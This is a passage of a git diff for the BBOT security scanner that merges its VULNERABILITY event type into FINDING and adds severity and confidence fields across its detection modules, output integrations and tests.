"CRITICAL"): raise ValueError(f"Invalid severity: {severity}") return severity diff --git a/bbot/modules/ajaxpro.py b/bbot/modules/ajaxpro.py index 1df424ebcc..aba7f20ea4 100644 --- a/bbot/modules/ajaxpro.py +++ b/bbot/modules/ajaxpro.py @@ -10,7 +10,7 @@ class ajaxpro(BaseModule): ajaxpro_regex = re.compile(r' 0: self.results.append( { - "type": "FINDING", + "severity": "CRITICAL", + "confidence": "MODERATE", "description": f"POSSIBLE OS Command Injection. {self.metadata()} Detection Method: [echo canary] CMD Probe Delimeters: [{' '.join(positive_detections)}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/crypto.py b/bbot/modules/lightfuzz/submodules/crypto.py index 1134d95af9..d9420bcec4 100644 --- a/bbot/modules/lightfuzz/submodules/crypto.py +++ b/bbot/modules/lightfuzz/submodules/crypto.py @@ -284,8 +284,8 @@ async def padding_oracle(self, probe_value, cookies): context = f"Lightfuzz Cryptographic Probe Submodule detected a probable padding oracle vulnerability after manipulating parameter: [{self.event.data['name']}]" self.results.append( { - "type": "VULNERABILITY", "severity": "HIGH", + "confidence": "HIGH", "description": f"Padding Oracle Vulnerability. Block size: [{str(block_size)}] {self.metadata()}", "context": context, } @@ -319,7 +319,8 @@ async def error_string_search(self, text_dict, baseline_text): if unique_matches: self.results.append( { - "type": "FINDING", + "severity": "INFORMATIONAL", + "confidence": "LOW", "description": f"Possible Cryptographic Error. {self.metadata()} Strings: [{','.join(unique_matches)}] Detection Technique(s): [{','.join(matching_techniques)}]", "context": context, } @@ -413,7 +414,8 @@ async def fuzz(self): context = f"Lightfuzz Cryptographic Probe Submodule detected a parameter ({self.event.data['name']}) to appears to drive a cryptographic operation" self.results.append( { - "type": "FINDING", + "severity": "INFORMATIONAL", + "confidence": "LOW", "description": f"Probable Cryptographic Parameter. {self.metadata()} Detection Technique(s): [{', '.join(confirmed_techniques)}]", "context": context, } @@ -467,7 +469,8 @@ async def fuzz(self): context = f"Lightfuzz Cryptographic Probe Submodule detected a parameter ({self.event.data['name']}) that is a likely a hash, which is connected to another parameter {additional_param_name})" self.results.append( { - "type": "FINDING", + "severity": "INFORMATIONAL", + "confidence": "LOW", "description": f"Possible {self.event.data['type']} parameter with {hash_instance.name.upper()} Hash as value. {self.metadata()}, linked to additional parameter [{additional_param_name}]", "context": context, } diff --git a/bbot/modules/lightfuzz/submodules/path.py b/bbot/modules/lightfuzz/submodules/path.py index 44047e2907..61b4fcfcde 100644 --- a/bbot/modules/lightfuzz/submodules/path.py +++ b/bbot/modules/lightfuzz/submodules/path.py @@ -121,7 +121,8 @@ async def fuzz(self): if confirmations > 3: self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "LOW", "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [{path_technique}]", } ) @@ -148,7 +149,8 @@ async def fuzz(self): if r and trigger in r.text: self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "MODERATE", "description": f"POSSIBLE Path Traversal. {self.metadata()} Detection Method: [Absolute Path: {path}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/serial.py b/bbot/modules/lightfuzz/submodules/serial.py index 9a7dd90135..cb6af8979e 100644 --- a/bbot/modules/lightfuzz/submodules/serial.py +++ b/bbot/modules/lightfuzz/submodules/serial.py @@ -165,7 +165,8 @@ def get_title(text): self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "LOW", "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Error Resolution (Baseline: [{payload_baseline.baseline.status_code}] {baseline_title} -> Probe: [{status_code}] {probe_title})] Serialization Payload: [{type}]", } ) @@ -182,7 +183,8 @@ def get_title(text): self.debug(f"Error string '{serialization_error}' found in response for {type}") self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "LOW", "description": f"POSSIBLE Unsafe Deserialization. {self.metadata()} Technique: [Differential Error Analysis] Error-String: [{serialization_error}] Payload: [{type}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/sqli.py b/bbot/modules/lightfuzz/submodules/sqli.py index a2adfd2222..74cb4da40c 100644 --- a/bbot/modules/lightfuzz/submodules/sqli.py +++ b/bbot/modules/lightfuzz/submodules/sqli.py @@ -99,7 +99,8 @@ async def fuzz(self): if sqli_error_string.lower() in single_quote[3].text.lower(): self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "MODERATE", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [SQL Error Detection] Detected String: [{sqli_error_string}]", } ) @@ -119,7 +120,8 @@ async def fuzz(self): ): self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "MODERATE", "description": f"Possible SQL Injection. {self.metadata()} Detection Method: [Single Quote/Two Single Quote, Code Change ({http_compare.baseline.status_code}->{single_quote[3].status_code}->{double_single_quote[3].status_code})]", } ) @@ -179,7 +181,8 @@ async def fuzz(self): if confirmations == 3: self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "LOW", "description": f"Possible Blind SQL Injection. {self.metadata()} Detection Method: [Delay Probe ({p})]", } ) diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py index 544b10b103..c773f6a2cf 100644 --- a/bbot/modules/lightfuzz/submodules/ssti.py +++ b/bbot/modules/lightfuzz/submodules/ssti.py @@ -32,7 +32,8 @@ async def fuzz(self): if r and ("1787569" in r.text or "1,787,569" in r.text): self.results.append( { - "type": "FINDING", + "severity": "HIGH", + "confidence": "HIGH", "description": f"POSSIBLE Server-side Template Injection. {self.metadata()} Detection Method: [Integer Multiplication] Payload: [{probe_value}]", } ) diff --git a/bbot/modules/lightfuzz/submodules/xss.py b/bbot/modules/lightfuzz/submodules/xss.py index ded3ca6b93..2699f2ebed 100644 --- a/bbot/modules/lightfuzz/submodules/xss.py +++ b/bbot/modules/lightfuzz/submodules/xss.py @@ -90,7 +90,8 @@ async def check_probe(self, cookies, probe, match, context): if probe_result and match in probe_result.text: self.results.append( { - "type": "FINDING", + "severity": "MEDIUM", + "confidence": "MODERATE", "description": f"Possible Reflected XSS. Parameter: [{self.event.data['name']}] Context: [{context}] Parameter Type: [{self.event.data['type']}]", } ) diff --git a/bbot/modules/medusa.py b/bbot/modules/medusa.py index 46fbc1ae2e..0d1beefdfe 100644 --- a/bbot/modules/medusa.py +++ b/bbot/modules/medusa.py @@ -5,7 +5,7 @@ class medusa(BaseModule): watched_events = ["PROTOCOL"] - produced_events = ["VULNERABILITY"] + produced_events = ["FINDING"] flags = ["active", "aggressive", "deadly"] per_host_only = True meta = { @@ -143,8 +143,17 @@ async def handle_event(self, event): self.info(f"Medusa stderr: {result.stderr}") async for message in self.parse_output(result.stdout, snmp_version): - vuln_event = self.create_vuln_event("CRITICAL", message, event) - await self.emit_event(vuln_event) + await self.emit_event( + { + "severity": "CRITICAL", + "confidence": "CONFIRMED", + "host": str(event.host), + "port": str(event.port), + "description": message, + }, + "FINDING", + parent=event, + ) # else: Medusa supports various protocols which could in theory be implemented later on. @@ -218,18 +227,3 @@ async def construct_command(self, host, port, protocol, protocol_version): ] return cmd - - def create_vuln_event(self, severity, description, source_event): - host = str(source_event.host) - port = str(source_event.port) - - return self.make_event( - { - "severity": severity, - "host": host, - "port": port, - "description": description, - }, - "VULNERABILITY", - source_event, - ) diff --git a/bbot/modules/newsletters.py b/bbot/modules/newsletters.py index 114f7d66fd..a77da85df0 100644 --- a/bbot/modules/newsletters.py +++ b/bbot/modules/newsletters.py @@ -51,7 +51,13 @@ async def handle_event(self, event): result = self.find_type(soup) if result: description = "Found a Newsletter Submission Form that could be used for email bombing attacks" - data = {"host": str(_event.host), "description": description, "url": _event.data["url"]} + data = { + "host": str(_event.host), + "description": description, + "url": _event.data["url"], + "severity": "INFORMATIONAL", + "confidence": "LOW", + } await self.emit_event( data, "FINDING", diff --git a/bbot/modules/nuclei.py b/bbot/modules/nuclei.py index 6d55f652b5..4cda28622b 100644 --- a/bbot/modules/nuclei.py +++ b/bbot/modules/nuclei.py @@ -6,7 +6,7 @@ class nuclei(BaseModule): watched_events = ["URL"] - produced_events = ["FINDING", "VULNERABILITY", "TECHNOLOGY"] + produced_events = ["FINDING", "TECHNOLOGY"] flags = ["active", "aggressive", "deadly"] meta = { "description": "Fast and customisable vulnerability scanner", @@ -170,28 +170,22 @@ async def handle_batch(self, *events): description_string += f" Extracted Data: [{','.join(extracted_results)}]" if severity in ["INFO", "UNKNOWN"]: - await self.emit_event( - { - "host": str(parent_event.host), - "url": url, - "description": description_string, - }, - "FINDING", - parent_event, - context=f"{{module}} scanned {url} and identified {{event.type}}: {description_string}", - ) + severity_string = "INFORMATIONAL" else: - await self.emit_event( - { - "severity": severity, - "host": str(parent_event.host), - "url": url, - "description": description_string, - }, - "VULNERABILITY", - parent_event, - context=f"{{module}} scanned {url} and identified {severity.lower()} {{event.type}}: {description_string}", - ) + severity_string = severity + + await self.emit_event( + { + "severity": severity_string, + "confidence": "HIGH", + "host": str(parent_event.host), + "url": url, + "description": description_string, + }, + "FINDING", + parent_event, + context=f"{{module}} scanned {url} and identified {severity.lower()} {{event.type}}: {description_string}", + ) def correlate_event(self, events, host): for event in events: diff --git a/bbot/modules/output/asset_inventory.py b/bbot/modules/output/asset_inventory.py index 49c26fa8d7..9a2364e3b9 100644 --- a/bbot/modules/output/asset_inventory.py +++ b/bbot/modules/output/asset_inventory.py @@ -26,7 +26,6 @@ class asset_inventory(CSV): "DNS_NAME", "URL", "FINDING", - "VULNERABILITY", "TECHNOLOGY", "IP_ADDRESS", "WAF", @@ -316,12 +315,9 @@ def absorb_event(self, event): if event.type == "FINDING": location = event.data.get("url", event.data.get("host", "")) if location: - self.findings.add(f"{location}:{event.data['description']}") - - if event.type == "VULNERABILITY": - location = event.data.get("url", event.data.get("host", "")) - if location: - self.findings.add(f"{location}:{event.data['description']}:{event.data['severity']}") + self.findings.add( + f"{location}:{event.data['description']}:Severity: {event.data['severity']} Confidence: {event.data['confidence']}" + ) severity_int = severity_map.get(event.data.get("severity", "N/A"), 0) if severity_int > self.risk_rating: self.risk_rating = severity_int diff --git a/bbot/modules/output/discord.py b/bbot/modules/output/discord.py index 2aa4d21f84..934d89e670 100644 --- a/bbot/modules/output/discord.py +++ b/bbot/modules/output/discord.py @@ -8,10 +8,10 @@ class Discord(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10} + options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} options_desc = { "webhook_url": "Discord webhook URL", "event_types": "Types of events to send", - "min_severity": "Only allow VULNERABILITY events of this severity or higher", + "min_severity": "Only allow FINDING events of this severity or higher", "retries": "Number of times to retry sending the message before skipping the event", } diff --git a/bbot/modules/output/slack.py b/bbot/modules/output/slack.py index d65c816b3e..3366be9081 100644 --- a/bbot/modules/output/slack.py +++ b/bbot/modules/output/slack.py @@ -10,11 +10,11 @@ class Slack(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10} + options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} options_desc = { "webhook_url": "Discord webhook URL", "event_types": "Types of events to send", - "min_severity": "Only allow VULNERABILITY events of this severity or higher", + "min_severity": "Only allow FINDING events of this severity or higher", "retries": "Number of times to retry sending the message before skipping the event", } content_key = "text" @@ -26,7 +26,6 @@ def format_message_str(self, event): def format_message_other(self, event): event_yaml = yaml.dump(event.data) event_type = f"*`[{event.type}]`*" - if event.type in ("VULNERABILITY", "FINDING"): - event_str, color = self.get_severity_color(event) - event_type = f"{color} `{event_str}` {color}" + event_str, severity_color, confidence_color = self.get_colors(event) + event_type = f"Severity: {severity_color} Confidence: {confidence_color} {event_str}" return f"""*{event_type}*\n```\n{event_yaml}```""" diff --git a/bbot/modules/output/stdout.py b/bbot/modules/output/stdout.py index 59a121bd47..e642122feb 100644 --- a/bbot/modules/output/stdout.py +++ b/bbot/modules/output/stdout.py @@ -15,7 +15,13 @@ class Stdout(BaseOutputModule): "in_scope_only": "Whether to only show in-scope events", "accept_dupes": "Whether to show duplicate events, default True", } - vuln_severity_map = {"LOW": "HUGEWARNING", "MEDIUM": "HUGEWARNING", "HIGH": "CRITICAL", "CRITICAL": "CRITICAL"} + vuln_severity_map = { + "INFORMATIONAL": "HUGEINFO", + "LOW": "HUGEWARNING", + "MEDIUM": "HUGEWARNING", + "HIGH": "CRITICAL", + "CRITICAL": "CRITICAL", + } format_choices = ["text", "json"] async def setup(self): @@ -54,14 +60,14 @@ async def handle_text(self, event, event_json): else: event_str = self.human_event_str(event) - # log vulnerabilities in vivid colors - if event.type == "VULNERABILITY": - severity = event.data.get("severity", "INFO") + # log findings in vivid colors based on severity + if event.type == "FINDING": + severity = event.data.get("severity", "INFORMATIONAL") if severity in self.vuln_severity_map: loglevel = self.vuln_severity_map[severity] log_to_stderr(event_str, level=loglevel, logname=False) - elif event.type == "FINDING": - log_to_stderr(event_str, level="HUGEINFO", logname=False) + else: + log_to_stderr(event_str, level="HUGEINFO", logname=False) print(event_str) diff --git a/bbot/modules/output/teams.py b/bbot/modules/output/teams.py index c9a7cf1820..2ab461d5a6 100644 --- a/bbot/modules/output/teams.py +++ b/bbot/modules/output/teams.py @@ -8,11 +8,11 @@ class Teams(WebhookOutputModule): "created_date": "2023-08-14", "author": "@TheTechromancer", } - options = {"webhook_url": "", "event_types": ["VULNERABILITY", "FINDING"], "min_severity": "LOW", "retries": 10} + options = {"webhook_url": "", "event_types": ["FINDING"], "min_severity": "LOW", "retries": 10} options_desc = { "webhook_url": "Teams webhook URL", "event_types": "Types of events to send", - "min_severity": "Only allow VULNERABILITY events of this severity or higher", + "min_severity": "Only allow FINDING events of this severity or higher", "retries": "Number of times to retry sending the message before skipping the event", } @@ -46,7 +46,7 @@ def format_message_other(self, event): def get_severity_color(self, event): color = "Accent" - if event.type == "VULNERABILITY": + if event.type == "FINDING": severity = event.data.get("severity", "INFO") if severity == "CRITICAL": color = "Attention" @@ -78,7 +78,7 @@ def format_message(self, event): heading = {"type": "TextBlock", "text": f"{event.type}", "wrap": True, "size": "Large", "style": "heading"} body = adaptive_card["attachments"][0]["content"]["body"] body.append(heading) - if event.type in ("VULNERABILITY", "FINDING"): + if event.type == "FINDING": subheading = { "type": "TextBlock", "text": event.data.get("severity", "INFO"), diff --git a/bbot/modules/output/web_report.py b/bbot/modules/output/web_report.py index 92ff98289f..587533f58b 100644 --- a/bbot/modules/output/web_report.py +++ b/bbot/modules/output/web_report.py @@ -4,7 +4,7 @@ class web_report(BaseOutputModule): - watched_events = ["URL", "TECHNOLOGY", "FINDING", "VULNERABILITY", "VHOST"] + watched_events = ["URL", "TECHNOLOGY", "FINDING", "VHOST"] meta = { "description": "Create a markdown report with web assets", "created_date": "2023-02-08", diff --git a/bbot/modules/paramminer_cookies.py b/bbot/modules/paramminer_cookies.py index a3b4619d45..83fce87ad5 100644 --- a/bbot/modules/paramminer_cookies.py +++ b/bbot/modules/paramminer_cookies.py @@ -8,7 +8,6 @@ class paramminer_cookies(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - produced_events = ["FINDING"] flags = ["active", "aggressive", "slow", "web-paramminer"] meta = { "description": "Smart brute-force to check for common HTTP cookie parameters", diff --git a/bbot/modules/paramminer_getparams.py b/bbot/modules/paramminer_getparams.py index e6f35f6235..b0a3da92e7 100644 --- a/bbot/modules/paramminer_getparams.py +++ b/bbot/modules/paramminer_getparams.py @@ -8,7 +8,6 @@ class paramminer_getparams(paramminer_headers): watched_events = ["HTTP_RESPONSE", "WEB_PARAMETER"] produced_events = ["WEB_PARAMETER"] - produced_events = ["FINDING"] flags = ["active", "aggressive", "slow", "web-paramminer"] meta = { "description": "Use smart brute-force to check for common HTTP GET parameters", diff --git a/bbot/modules/reflected_parameters.py b/bbot/modules/reflected_parameters.py index f7e17e57e6..b416f3eecd 100644 --- a/bbot/modules/reflected_parameters.py +++ b/bbot/modules/reflected_parameters.py @@ -25,7 +25,13 @@ async def handle_event(self, event): description += ( f" Original Value: [{self.helpers.truncate_string(str(event.data['original_value']), 200)}]" ) - data = {"host": str(event.host), "description": description, "url": url} + data = { + "host": str(event.host), + "description": description, + "url": url, + "severity": "INFORMATIONAL", + "confidence": "HIGH", + } await self.emit_event(data, "FINDING", event) async def detect_reflection(self, event, url): diff --git a/bbot/modules/shodan_idb.py b/bbot/modules/shodan_idb.py index 4a3e2b214a..ea95bde2fb 100644 --- a/bbot/modules/shodan_idb.py +++ b/bbot/modules/shodan_idb.py @@ -40,7 +40,7 @@ class shodan_idb(BaseModule): """ watched_events = ["IP_ADDRESS", "DNS_NAME"] - produced_events = ["TECHNOLOGY", "VULNERABILITY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] + produced_events = ["TECHNOLOGY", "FINDING", "OPEN_TCP_PORT", "DNS_NAME"] flags = ["passive", "safe", "portscan", "subdomain-enum"] meta = { "description": "Query Shodan's InternetDB for open ports, hostnames, technologies, and vulnerabilities", @@ -143,7 +143,12 @@ async def _parse_response(self, data: dict, event, ip): if vulns: vulns_str = ", ".join([str(v) for v in vulns]) await self.emit_event( - {"description": f"Shodan reported possible vulnerabilities: {vulns_str}", "host": str(event.host)}, + { + "description": f"Shodan reported possible vulnerabilities: {vulns_str}", + "host": str(event.host), + "severity": "MEDIUM", + "confidence": "LOW", + }, "FINDING", parent=event, context=f'{{module}} queried Shodan\'s InternetDB API for "{query_host}" and found potential {{event.type}}: {vulns_str}', diff --git a/bbot/modules/smuggler.py b/bbot/modules/smuggler.py index 357fec1885..9205029c27 100644 --- a/bbot/modules/smuggler.py +++ b/bbot/modules/smuggler.py @@ -40,7 +40,13 @@ async def handle_event(self, event): text = f.split(":")[1].split("-")[0].strip() description = f"[HTTP SMUGGLER] [{text}] Technique: {technique}" await self.emit_event( - {"host": str(event.host), "url": event.data, "description": description}, + { + "host": str(event.host), + "url": event.data, + "description": description, + "severity": "MEDIUM", + "confidence": "LOW", + }, "FINDING", parent=event, context=f"{{module}} scanned {event.data} and found HTTP smuggling ({{event.type}}): {text}", diff --git a/bbot/modules/telerik.py b/bbot/modules/telerik.py index bf2cb54d92..91db8f4c40 100644 --- a/bbot/modules/telerik.py +++ b/bbot/modules/telerik.py @@ -20,7 +20,7 @@ class telerik(BaseModule): """ watched_events = ["URL", "HTTP_RESPONSE"] - produced_events = ["VULNERABILITY", "FINDING"] + produced_events = ["FINDING"] flags = ["active", "aggressive", "web-thorough"] meta = { "description": "Scan for critical Telerik vulnerabilities", @@ -242,7 +242,13 @@ async def handle_event(self, event): description = f"Telerik RAU AXD Handler detected. Verbose Errors Enabled: [{str(verbose_errors)}] Version Guess: [{version}]" await self.emit_event( - {"host": str(event.host), "url": f"{base_url}{webresource}", "description": description}, + { + "host": str(event.host), + "url": f"{base_url}{webresource}", + "description": description, + "severity": "INFORMATIONAL", + "confidence": "HIGH", + }, "FINDING", event, context=f"{{module}} scanned {base_url} and identified {{event.type}}: Telerik RAU AXD Handler", @@ -264,17 +270,18 @@ async def handle_event(self, event): result.url, ] output = await self.run_process(command) - description = f"[CVE-2017-11317] [{str(version)}] {webresource}" + description = f"Confirmed Vulnerable Telerik (version: {str(version)})" if "fileInfo" in output.stdout: self.debug(f"Confirmed Vulnerable Telerik (version: {str(version)}") await self.emit_event( { "severity": "CRITICAL", + "confidence": "CONFIRMED", "description": description, "host": str(event.host), "url": f"{base_url}{webresource}", }, - "VULNERABILITY", + "FINDING", event, context=f"{{module}} scanned {base_url} and identified critical {{event.type}}: {description}", ) @@ -302,7 +309,13 @@ async def handle_event(self, event): self.debug(f"Detected Telerik UI instance ({dh})") description = "Telerik DialogHandler detected" await self.emit_event( - {"host": str(event.host), "url": f"{base_url}{dh}", "description": description}, + { + "host": str(event.host), + "url": f"{base_url}{dh}", + "description": description, + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", + }, "FINDING", event, ) @@ -326,6 +339,8 @@ async def handle_event(self, event): "host": str(event.host), "url": f"{base_url}{spellcheckhandler}", "description": description, + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, @@ -345,6 +360,8 @@ async def handle_event(self, event): "host": str(event.host), "url": f"{base_url}{chartimagehandler}", "description": "Telerik ChartImage AXD Handler Detected", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, @@ -361,6 +378,8 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": "Telerik DialogHandler [SerializedParameters] Detected in HTTP Response", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, @@ -372,6 +391,8 @@ async def handle_event(self, event): "host": str(event.host), "url": url, "description": "Telerik AsyncUpload [serializedConfiguration] Detected in HTTP Response", + "confidence": "CONFIRMED", + "severity": "INFORMATIONAL", }, "FINDING", event, diff --git a/bbot/modules/templates/bucket.py b/bbot/modules/templates/bucket.py index 3cd899d71c..4d820652cc 100644 --- a/bbot/modules/templates/bucket.py +++ b/bbot/modules/templates/bucket.py @@ -67,7 +67,13 @@ async def handle_storage_bucket(self, event): if self.supports_open_check: description, tags = await self._check_bucket_open(bucket_name, url) if description: - event_data = {"host": event.host, "url": url, "description": description} + event_data = { + "host": event.host, + "url": url, + "description": description, + "severity": "LOW", + "confidence": "HIGH", + } await self.emit_event( event_data, "FINDING", diff --git a/bbot/modules/templates/webhook.py b/bbot/modules/templates/webhook.py index 79dc11750d..d5a44794f3 100644 --- a/bbot/modules/templates/webhook.py +++ b/bbot/modules/templates/webhook.py @@ -11,7 +11,8 @@ class WebhookOutputModule(BaseOutputModule): accept_dupes = False message_size_limit = 2000 content_key = "content" - vuln_severities = ["UNKNOWN", "LOW", "MEDIUM", "HIGH", "CRITICAL"] + severities = ["INFORMATIONAL", "LOW", "MEDIUM", "HIGH", "CRITICAL"] + confidences = ["UNKNOWN", "LOW", "MODERATE", "HIGH", "CONFIRMED"] # abort module after 10 failed requests (not including retries) _api_failure_abort_threshold = 10 @@ -21,10 +22,10 @@ class WebhookOutputModule(BaseOutputModule): async def setup(self): self.webhook_url = self.config.get("webhook_url", "") self.min_severity = self.config.get("min_severity", "LOW").strip().upper() - assert self.min_severity in self.vuln_severities, ( - f"min_severity must be one of the following: {','.join(self.vuln_severities)}" + assert self.min_severity in self.severities, ( + f"min_severity must be one of the following: {','.join(self.severities)}" ) - self.allowed_severities = self.vuln_severities[self.vuln_severities.index(self.min_severity) :] + self.allowed_severities = self.severities[self.severities.index(self.min_severity) :] if not self.webhook_url: self.warning("Must set Webhook URL") return False @@ -45,15 +46,15 @@ async def handle_event(self, event): def get_watched_events(self): if self._watched_events is None: - event_types = self.config.get("event_types", ["VULNERABILITY"]) + event_types = self.config.get("event_types", ["FINDING"]) if isinstance(event_types, str): event_types = [event_types] self._watched_events = set(event_types) return self._watched_events async def filter_event(self, event): - if event.type == "VULNERABILITY": - severity = event.data.get("severity", "UNKNOWN") + if event.type == "FINDING": + severity = event.data.get("severity", "INFORMATIONAL") if severity not in self.allowed_severities: return False, f"{severity} is below min_severity threshold" return True @@ -65,17 +66,20 @@ def format_message_str(self, event): def format_message_other(self, event): event_yaml = yaml.dump(event.data) event_type = f"**`[{event.type}]`**" - if event.type in ("VULNERABILITY", "FINDING"): - event_str, color = self.get_severity_color(event) - event_type = f"{color} {event_str} {color}" + if event.type == "FINDING": + event_str, severity_color, confidence_color = self.get_colors(event) + event_type = f"{severity_color} {confidence_color} {event_str}" return f"""**`{event_type}`**\n```yaml\n{event_yaml}```""" - def get_severity_color(self, event): - if event.type == "VULNERABILITY": - severity = event.data.get("severity", "UNKNOWN") - return f"{event.type} ({severity})", event.severity_colors[severity] + def get_colors(self, event): + if event.type == "FINDING": + severity = event.data.get("severity", "INFORMATIONAL") + confidence = event.data.get("confidence", "UNKNOWN") + severity_color = event.severity_colors.get(severity, "⬜") + confidence_color = event.confidence_colors.get(confidence, "⚪") + return f"{event.type} (Severity: {severity} / Confidence: {confidence})", severity_color, confidence_color else: - return event.type, "🟦" + return event.type, "🟦", "" def format_message(self, event): if isinstance(event.data, str): diff --git a/bbot/modules/trufflehog.py b/bbot/modules/trufflehog.py index cebac85957..33cbdb2a29 100644 --- a/bbot/modules/trufflehog.py +++ b/bbot/modules/trufflehog.py @@ -5,7 +5,7 @@ class trufflehog(BaseModule): watched_events = ["CODE_REPOSITORY", "FILESYSTEM", "HTTP_RESPONSE", "RAW_TEXT"] - produced_events = ["FINDING", "VULNERABILITY"] + produced_events = ["FINDING"] flags = ["passive", "safe", "code-enum"] meta = { "description": "TruffleHog is a tool for finding credentials", @@ -120,14 +120,15 @@ async def handle_event(self, event): source_metadata, ) in self.execute_trufflehog(module, path): verified_str = "Verified" if verified else "Possible" - finding_type = "VULNERABILITY" if verified else "FINDING" + confidence = "CONFIRMED" if verified else "MODERATE" data = { "description": f"{verified_str} Secret Found. Detector Type: [{detector_name}] Decoder Type: [{decoder_name}] Details: [{source_metadata}]", } if host: data["host"] = host - if finding_type == "VULNERABILITY": - data["severity"] = "High" + + data["severity"] = "HIGH" + data["confidence"] = confidence if description: data["description"] += f" Description: [{description}]" data["description"] += f" Raw result: [{raw_result}]" @@ -135,7 +136,7 @@ async def handle_event(self, event): data["description"] += f" RawV2 result: [{rawv2_result}]" await self.emit_event( data, - finding_type, + "FINDING", event, context=f'{{module}} searched {event.type} using "{module}" method and found {verified_str.lower()} secret ({{event.type}}): {raw_result}', ) diff --git a/bbot/modules/url_manipulation.py b/bbot/modules/url_manipulation.py index c36b7c39d5..c750880540 100644 --- a/bbot/modules/url_manipulation.py +++ b/bbot/modules/url_manipulation.py @@ -79,7 +79,13 @@ async def handle_event(self, event): reported_signature = f"Modified URL: {sig[1]}" description = f"Url Manipulation: [{','.join(reasons)}] Sig: [{reported_signature}]" await self.emit_event( - {"description": description, "host": str(event.host), "url": event.data}, + { + "description": description, + "host": str(event.host), + "url": event.data, + "severity": "INFORMATIONAL", + "confidence": "LOW", + }, "FINDING", parent=event, context=f"{{module}} probed {event.data} and identified {{event.type}}: {description}", diff --git a/bbot/modules/wpscan.py b/bbot/modules/wpscan.py index 4f1a63a1b5..b5ee46651d 100644 --- a/bbot/modules/wpscan.py +++ b/bbot/modules/wpscan.py @@ -4,7 +4,7 @@ class wpscan(BaseModule): watched_events = ["HTTP_RESPONSE", "TECHNOLOGY"] - produced_events = ["URL_UNVERIFIED", "FINDING", "VULNERABILITY", "TECHNOLOGY"] + produced_events = ["URL_UNVERIFIED", "FINDING", "TECHNOLOGY"] flags = ["active", "aggressive"] meta = { "description": "Wordpress security scanner. Highly recommended to use an API key for better results.", @@ -194,11 +194,12 @@ def parse_wp_version(self, version_json, url, source_event): yield self.make_event( { "severity": "HIGH", + "confidence": "MODERATE", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(wp_vuln), }, - "VULNERABILITY", + "FINDING", source_event, ) @@ -219,11 +220,12 @@ def parse_wp_themes(self, theme_json, url, source_event): yield self.make_event( { "severity": "HIGH", + "confidence": "MODERATE", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(theme_vuln), }, - "VULNERABILITY", + "FINDING", source_event, ) @@ -248,11 +250,12 @@ def parse_wp_plugins(self, plugins_json, base_url, source_event): yield self.make_event( { "severity": "HIGH", + "confidence": "MODERATE", "host": str(source_event.host), "url": url, "description": self.vulnerability_to_s(vuln), }, - "VULNERABILITY", + "FINDING", source_event, ) diff --git a/bbot/test/bbot_fixtures.py b/bbot/test/bbot_fixtures.py index 9ad2d932fa..8b88f14b11 100644 --- a/bbot/test/bbot_fixtures.py +++ b/bbot/test/bbot_fixtures.py @@ -174,12 +174,11 @@ class bbot_events: "https://[2001:4860:4860::8888]:443/hellofriend", "URL", tags=["status-200"], parent=scan.root_event ) url_hint = scan.make_event("https://api.publicAPIs.org:443/hello.ash", "URL_HINT", parent=url) - vulnerability = scan.make_event( - {"host": "evilcorp.com", "severity": "INFO", "description": "asdf"}, - "VULNERABILITY", + finding = scan.make_event( + {"host": "evilcorp.com", "severity": "INFORMATIONAL", "confidence": "HIGH", "description": "asdf"}, + "FINDING", parent=scan.root_event, ) - finding = scan.make_event({"host": "evilcorp.com", "description": "asdf"}, "FINDING", parent=scan.root_event) vhost = scan.make_event({"host": "evilcorp.com", "vhost": "www.evilcorp.com"}, "VHOST", parent=scan.root_event) http_response = scan.make_event(httpx_response, "HTTP_RESPONSE", parent=scan.root_event) storage_bucket = scan.make_event( @@ -209,7 +208,6 @@ class bbot_events: bbot_events.ipv4_url, bbot_events.ipv6_url, bbot_events.url_hint, - bbot_events.vulnerability, bbot_events.finding, bbot_events.vhost, bbot_events.http_response, diff --git a/bbot/test/test_step_1/test_events.py b/bbot/test/test_step_1/test_events.py index 4844639594..4665749818 100644 --- a/bbot/test/test_step_1/test_events.py +++ b/bbot/test/test_step_1/test_events.py @@ -335,24 +335,30 @@ async def test_events(events, helpers): assert "affiliate" in corrected_event4.tags test_vuln = scan.make_event( - {"host": "EVILcorp.com", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", dummy=True + {"host": "EVILcorp.com", "severity": "iNformational ", "confidence": "HIGH", "description": "asdf"}, + "FINDING", + dummy=True, ) assert test_vuln.data["host"] == "evilcorp.com" - assert test_vuln.data["severity"] == "INFO" + assert test_vuln.data["severity"] == "INFORMATIONAL" test_vuln2 = scan.make_event( - {"host": "192.168.1.1", "severity": "iNfo ", "description": "asdf"}, "VULNERABILITY", 